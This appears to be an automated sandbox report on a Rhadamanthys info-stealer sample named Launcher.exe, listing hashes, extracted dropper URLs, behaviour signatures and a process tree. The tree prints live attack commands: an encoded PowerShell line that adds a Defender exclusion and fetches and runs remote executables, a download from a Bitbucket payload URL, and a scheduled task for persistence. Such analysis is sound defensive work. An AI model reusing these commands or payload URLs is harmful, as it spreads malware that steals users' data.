rhadamanthys | 58cef32534359943cdd656387950c31456832f230eda5f3b24c9663221c73c0d

Analysis

max time kernel
150s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11/05/2024, 17:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Launcher.exe
Size 7KB
Sample240511-vsdewabg37
SHA256 58cef32534359943cdd656387950c31456832f230eda5f3b24c9663221c73c0d
MD5 0184707eca13fd8ce840214c27e85cbe
SHA1 1ff27e07dc5e0fcfc3bbb9773d8e657a889cfcbb
SHA512 6745fbef3391fc3e0f1c303a89c369ee61cbfb129d159b9bd979f29f3232129bc8bb836475501796e03a8e586e26af45b5811d6d704588a1439f072f3efaf826
SSDEEP 192:T9vqvjR3xszVvCCbxbsIcaqcTN8KvHIcaBmNtUq5wcRUd0f:T9yvzOdCCbxbbcaqcTN7ocaMNt/qcRMo
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

rhadamanthys execution stealer

Malware Config

Extracted

Language

Source

URLs

ps1.dropper
https://rentry.org/NothingToSeeHerebroFuckOff/raw

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://bitbucket.org/gedegrereghh/fuckyougithub/raw/8cb9b55e44e6ccb04ad3d6503204310cac798748/win-unpacked.rar

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5008 created 2968	5008	wnwdjfv0.bff0.exe	50

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	4840	powershell.exe
5	4840	powershell.exe
8	3452	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	wnwdjfv0.bff1.exe

Executes dropped EXE 2 IoCs

pid	Process
5008	wnwdjfv0.bff0.exe
3800	wnwdjfv0.bff1.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
4	bitbucket.org
5	bitbucket.org
8	bitbucket.org

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4840	powershell.exe
3452	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3204	schtasks.exe

Delays execution with timeout.exe 64 IoCs

evasion

pid	Process
2904	timeout.exe
4704	timeout.exe
1948	timeout.exe
1664	timeout.exe
1496	timeout.exe
4244	timeout.exe
5036	timeout.exe
2256	timeout.exe
4612	timeout.exe
1820	timeout.exe
1648	timeout.exe
4580	timeout.exe
5100	timeout.exe
3444	timeout.exe
1400	timeout.exe
5104	timeout.exe
3568	timeout.exe
3600	timeout.exe
1676	timeout.exe
3452	timeout.exe
1596	timeout.exe
3068	timeout.exe
4416	timeout.exe
3892	timeout.exe
4048	timeout.exe
2792	timeout.exe
3044	timeout.exe
652	timeout.exe
3816	timeout.exe
3448	timeout.exe
5052	timeout.exe
4940	timeout.exe
3160	timeout.exe
2000	timeout.exe
4692	timeout.exe
4704	timeout.exe
3796	timeout.exe
2852	timeout.exe
4172	timeout.exe
3456	timeout.exe
4512	timeout.exe
4404	timeout.exe
2152	timeout.exe
3096	timeout.exe
4032	timeout.exe
3036	timeout.exe
2184	timeout.exe
4476	timeout.exe
1308	timeout.exe
1676	timeout.exe
4616	timeout.exe
1428	timeout.exe
624	timeout.exe
4868	timeout.exe
2004	timeout.exe
4920	timeout.exe
5020	timeout.exe
3832	timeout.exe
2252	timeout.exe
5040	timeout.exe
1256	timeout.exe
2568	timeout.exe
3452	timeout.exe
2500	timeout.exe

Enumerates processes with tasklist 1 TTPs 8 IoCs

Process Discovery

T1057

pid	Process
3948	tasklist.exe
4512	tasklist.exe
624	tasklist.exe
2800	tasklist.exe
5076	tasklist.exe
4172	tasklist.exe
4124	tasklist.exe
2776	tasklist.exe

Kills process with taskkill 8 IoCs

evasion

pid	Process
3516	taskkill.exe
3096	taskkill.exe
3892	taskkill.exe
1348	taskkill.exe
1820	taskkill.exe
5016	taskkill.exe
3280	taskkill.exe
1660	taskkill.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4840	powershell.exe
4840	powershell.exe
3452	powershell.exe
3452	powershell.exe
5008	wnwdjfv0.bff0.exe
5008	wnwdjfv0.bff0.exe
2536	dialer.exe
2536	dialer.exe
2536	dialer.exe
2536	dialer.exe
5020	powershell.exe
5020	powershell.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	4840	powershell.exe
Token: SeDebugPrivilege	3452	powershell.exe
Token: SeDebugPrivilege	5076	tasklist.exe
Token: SeDebugPrivilege	3096	taskkill.exe
Token: SeDebugPrivilege	4172	tasklist.exe
Token: SeDebugPrivilege	3892	taskkill.exe
Token: SeDebugPrivilege	4124	tasklist.exe
Token: SeDebugPrivilege	1348	taskkill.exe
Token: SeDebugPrivilege	2776	tasklist.exe
Token: SeDebugPrivilege	1820	taskkill.exe
Token: SeDebugPrivilege	3948	tasklist.exe
Token: SeDebugPrivilege	5016	taskkill.exe
Token: SeDebugPrivilege	4512	tasklist.exe
Token: SeDebugPrivilege	3280	taskkill.exe
Token: SeDebugPrivilege	624	tasklist.exe
Token: SeDebugPrivilege	1660	taskkill.exe
Token: SeDebugPrivilege	2800	tasklist.exe
Token: SeDebugPrivilege	3516	taskkill.exe
Token: SeDebugPrivilege	5020	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3764 wrote to memory of 4840	3764	Launcher.exe	82
PID 3764 wrote to memory of 4840	3764	Launcher.exe	82
PID 4840 wrote to memory of 5008	4840	powershell.exe	87
PID 4840 wrote to memory of 5008	4840	powershell.exe	87
PID 4840 wrote to memory of 5008	4840	powershell.exe	87
PID 4840 wrote to memory of 3800	4840	powershell.exe	88
PID 4840 wrote to memory of 3800	4840	powershell.exe	88
PID 3800 wrote to memory of 3128	3800	wnwdjfv0.bff1.exe	89
PID 3800 wrote to memory of 3128	3800	wnwdjfv0.bff1.exe	89
PID 3128 wrote to memory of 2388	3128	cmd.exe	92
PID 3128 wrote to memory of 2388	3128	cmd.exe	92
PID 3128 wrote to memory of 4208	3128	cmd.exe	93
PID 3128 wrote to memory of 4208	3128	cmd.exe	93
PID 3128 wrote to memory of 4244	3128	cmd.exe	94
PID 3128 wrote to memory of 4244	3128	cmd.exe	94
PID 3128 wrote to memory of 2668	3128	cmd.exe	95
PID 3128 wrote to memory of 2668	3128	cmd.exe	95
PID 3128 wrote to memory of 3900	3128	cmd.exe	96
PID 3128 wrote to memory of 3900	3128	cmd.exe	96
PID 3128 wrote to memory of 3204	3128	cmd.exe	97
PID 3128 wrote to memory of 3204	3128	cmd.exe	97
PID 3128 wrote to memory of 2568	3128	cmd.exe	98
PID 3128 wrote to memory of 2568	3128	cmd.exe	98
PID 2568 wrote to memory of 2348	2568	cmd.exe	99
PID 2568 wrote to memory of 2348	2568	cmd.exe	99
PID 3128 wrote to memory of 1916	3128	cmd.exe	100
PID 3128 wrote to memory of 1916	3128	cmd.exe	100
PID 1916 wrote to memory of 3448	1916	cmd.exe	101
PID 1916 wrote to memory of 3448	1916	cmd.exe	101
PID 3128 wrote to memory of 3452	3128	cmd.exe	102
PID 3128 wrote to memory of 3452	3128	cmd.exe	102
PID 5008 wrote to memory of 2536	5008	wnwdjfv0.bff0.exe	104
PID 5008 wrote to memory of 2536	5008	wnwdjfv0.bff0.exe	104
PID 5008 wrote to memory of 2536	5008	wnwdjfv0.bff0.exe	104
PID 5008 wrote to memory of 2536	5008	wnwdjfv0.bff0.exe	104
PID 5008 wrote to memory of 2536	5008	wnwdjfv0.bff0.exe	104
PID 3128 wrote to memory of 5076	3128	cmd.exe	109
PID 3128 wrote to memory of 5076	3128	cmd.exe	109
PID 3128 wrote to memory of 2500	3128	cmd.exe	110
PID 3128 wrote to memory of 2500	3128	cmd.exe	110
PID 3128 wrote to memory of 3096	3128	cmd.exe	112
PID 3128 wrote to memory of 3096	3128	cmd.exe	112
PID 3128 wrote to memory of 4172	3128	cmd.exe	113
PID 3128 wrote to memory of 4172	3128	cmd.exe	113
PID 3128 wrote to memory of 1428	3128	cmd.exe	114
PID 3128 wrote to memory of 1428	3128	cmd.exe	114
PID 3128 wrote to memory of 3892	3128	cmd.exe	115
PID 3128 wrote to memory of 3892	3128	cmd.exe	115
PID 3128 wrote to memory of 4124	3128	cmd.exe	116
PID 3128 wrote to memory of 4124	3128	cmd.exe	116
PID 3128 wrote to memory of 3736	3128	cmd.exe	117
PID 3128 wrote to memory of 3736	3128	cmd.exe	117
PID 3128 wrote to memory of 1348	3128	cmd.exe	118
PID 3128 wrote to memory of 1348	3128	cmd.exe	118
PID 3128 wrote to memory of 2776	3128	cmd.exe	119
PID 3128 wrote to memory of 2776	3128	cmd.exe	119
PID 3128 wrote to memory of 4048	3128	cmd.exe	120
PID 3128 wrote to memory of 4048	3128	cmd.exe	120
PID 3128 wrote to memory of 1820	3128	cmd.exe	121
PID 3128 wrote to memory of 1820	3128	cmd.exe	121
PID 3128 wrote to memory of 3948	3128	cmd.exe	122
PID 3128 wrote to memory of 3948	3128	cmd.exe	122
PID 3128 wrote to memory of 216	3128	cmd.exe	123
PID 3128 wrote to memory of 216	3128	cmd.exe	123

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2968
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2536

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGkAcABsACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbABpAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYgBpAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaABoAHAAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAE4AbwB0AGgAaQBuAGcAVABvAFMAZQBlAEgAZQByAGUAYgByAG8ARgB1AGMAawBPAGYAZgAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbgB1AHMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBuAHgAYQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBtAGkAdgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAdABoAGIAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABjAHYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGYAYwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwByAHgAcAAjAD4A"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Users\Admin\AppData\Roaming\wnwdjfv0.bff0.exe
    "C:\Users\Admin\AppData\Roaming\wnwdjfv0.bff0.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5008
- - C:\Users\Admin\AppData\Roaming\wnwdjfv0.bff1.exe
    "C:\Users\Admin\AppData\Roaming\wnwdjfv0.bff1.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3800
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\62A2.tmp\62A3.tmp\62A4.bat C:\Users\Admin\AppData\Roaming\wnwdjfv0.bff1.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3128
    - - C:\Windows\system32\chcp.com
        
        chcp 1251
        5⤵
        
        PID:2388
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4208
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:4244
    - - C:\Windows\system32\findstr.exe
        
        findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
        5⤵
        
        PID:2668
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /query /tn "MyBatchScript"
        5⤵
        
        PID:3900
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
        5⤵
        Creates scheduled task(s)
        
        PID:3204
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2568
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
        6⤵
        
        PID:2348
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1916
      - C:\Windows\system32\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
        6⤵
        
        PID:3448
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/gedegrereghh/fuckyougithub/raw/8cb9b55e44e6ccb04ad3d6503204310cac798748/win-unpacked.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3452
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5076
    - - C:\Windows\system32\find.exe
        
        find /i "tf_win64.exe"
        5⤵
        
        PID:2500
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im tf_win64.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3096
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4172
    - - C:\Windows\system32\find.exe
        
        find /i "dota2.exe"
        5⤵
        
        PID:1428
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im dota2.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3892
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4124
    - - C:\Windows\system32\find.exe
        
        find /i "cs2.exe"
        5⤵
        
        PID:3736
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im cs2.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1348
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2776
    - - C:\Windows\system32\find.exe
        
        find /i "RustClient.exe"
        5⤵
        
        PID:4048
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RustClient.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1820
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3948
    - - C:\Windows\system32\find.exe
        
        find /i "GTA5.exe"
        5⤵
        
        PID:216
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im GTA5.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5016
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4512
    - - C:\Windows\system32\find.exe
        
        find /i "TslGame.exe"
        5⤵
        
        PID:2616
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im TslGame.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3280
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:624
    - - C:\Windows\system32\find.exe
        
        find /i "RainbowSix.exe"
        5⤵
        
        PID:4804
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im RainbowSix.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1660
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        
        PID:4240
    - - C:\Windows\system32\tasklist.exe
        
        tasklist
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2800
    - - C:\Windows\system32\find.exe
        
        find /i "steam.exe"
        5⤵
        
        PID:436
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im steam.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3516
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 3
        5⤵
        Delays execution with timeout.exe
        
        PID:2904
    - - C:\Windows\system32\tar.exe
        
        tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
        5⤵
        
        PID:544
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell "$ws = New-Object -ComObject WScript.Shell; $s = $ws.CreateShortcut('C:\Users\Admin\Desktop\Steam.lnk'); $s.TargetPath = '\steam.exe'; $s.Save()"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5020
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5056
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4704
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4612
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4416
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5004
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4868
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4580
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1936
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5040
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2044
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1676
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3452
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3816
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5076
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3600
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3084
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1072
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4692
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1428
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4496
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3892
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:2124
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:696
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3420
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4048
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4504
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1256
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4032
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3968
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1596
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1496
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:924
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4512
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4244
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1616
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5036
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:624
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1240
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1252
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1680
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3448
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3036
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2568
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3044
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1948
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2256
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3148
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2004
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5100
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4920
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4404
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:652
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:60
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3444
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1404
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5052
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:5020
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4940
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1696
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2184
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3068
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:3428
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4476
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:2852
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1308
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5056
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4704
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4612
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:4416
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4212
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3160
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:4580
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1936
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:5040
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        
        PID:1068
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:1676
    - - C:\Windows\system32\timeout.exe
        
        timeout /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3452
